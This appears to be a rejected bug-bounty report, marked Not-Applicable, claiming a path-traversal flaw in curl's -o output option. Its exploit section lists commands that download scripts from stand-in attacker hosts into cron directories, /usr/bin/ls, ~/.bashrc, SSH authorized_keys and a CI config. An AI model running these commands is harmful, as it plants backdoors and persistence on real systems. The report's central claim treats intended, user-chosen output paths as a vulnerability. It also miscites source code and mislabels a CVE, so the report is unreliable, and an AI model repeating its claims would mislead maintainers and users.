[High] Arbitrary File Write via Path Traversal in cURL CLI (`-o`, `--output`) (CWE-22: Improper Limitation of a Pathname to a Restricted Directory)
High
C
curl
Submitted None
Actions:
Reported by
oicus
Vulnerability Details
Technical details and impact analysis
## Summary:
The -o / --output parameter in cURL does not restrict or sanitize file paths. When passed relative traversal sequences (e.g., ../../), cURL writes files outside the current working directory, allowing arbitrary file overwrite. In automated or privileged environments (CI/CD, root containers), this leads to Remote Code Execution (RCE), privilege escalation, and supply chain risk.
This behavior violates path safety expectations when cURL is embedded in scripts or run with elevated privileges.
## Affected version
Affected Asset
Component: cURL CLI
Versions Affected: cURL 7.64.0 to 8.4.0 (Tested on 7.64.0, 7.79.1, 7.85.0, 8.4.0)
Tested Platforms: Linux (Debian), macOS, Alpine (Docker)
Latest Tested:
curl 7.85.0 (x86_64-pc-linux-gnu) libcurl/7.85.0 OpenSSL/3.0.2
Technical Root Cause
// File: src/tool_cfgable.c (Line ~512)
getstr(&config->output, nextarg, DENY_BLANK); // CWE-22: No validation/sanitization
No normalization is performed (realpath() is unused), and cURL allows any relative/absolute path. This creates a write primitive into sensitive areas (e.g., /etc/, $HOME/.ssh/, ~/.bashrc).
## Steps To Reproduce:
Prerequisites
File target is writable by the current user (or use root to show full impact).
Can be automated or scripted without user interaction.
Exploit
1.Start a web server:
python3 -m http.server 8000
2.Run vulnerable cURL:
sudo curl http://localhost:8000/backdoor.sh -o "../../etc/cron.daily/zzz-backdoor"
3.Check the result:
ls -l /etc/cron.daily/zzz-backdoor
cat /etc/cron.daily/zzz-backdoor
On next cron run, zzz-backdoor is executed with root privileges.
Docker Container (Privileged):
docker run --privileged alpine sh -c 'curl http://attacker.com/x.sh -o /usr/bin/ls'
CI/CD Pipeline (Supply Chain Injection):
script:
- curl http://evil.com -o "../../.gitlab-ci.yml"
User-Level Exploits:
curl http://evil.com -o "~/.bashrc"
curl http://evil.com/key.pub -o "~/.ssh/authorized_keys"
CVSS v3.1 Base Score: 7.8 (High)
AV:N / AC:L / PR:N / UI:N / S:U / C:H / I:H / A:H
Mitigation & Recommendation
Fix Suggestion
Normalize and validate paths before writing:
char *resolved = realpath(nextarg, NULL);
if (!resolved || strstr(resolved, "..") != NULL || !is_subdir(resolved, safe_dir)) { warnf(config, "Unsafe output path blocked");
return PARAM_BAD_USE;
}
Supporting Evidence
Source Reference: src/tool_cfgable.c#L512
Similar CVE: [CVE-2020-8284](https://nvd.nist.gov/vuln/detail/CVE-2020-8284) (cURL FTP Path Traversal, fixed in 7.73.0)
CWE: CWE-22
## Impact
| Vector | Description |
| Arbitrary File Write | Overwrite any file accessible by user |
| Privilege Escalation | Overwrite `/etc/sudoers`, `/etc/passwd`, or root-owned cron jobs |
| RCE / Persistence | Backdoor via login scripts, bashrc, or CI/CD config overwrite |
| Supply Chain Injection | Scripted or container-based installs auto-run attacker's payloads
Related CVEs
Associated Common Vulnerabilities and Exposures
CVE-2020-8284
UNKNOWN
A malicious server can use the FTP PASV response to trick curl 7.73.0 and earlier into connecting back to a given IP address and port, and this way potentially make curl extract information about services that are otherwise private and not disclosed, for example doing port scanning and service banner …
Report Details
Additional information and metadata
State
Closed
Substate
Not-Applicable
Submitted
Weakness
Path Traversal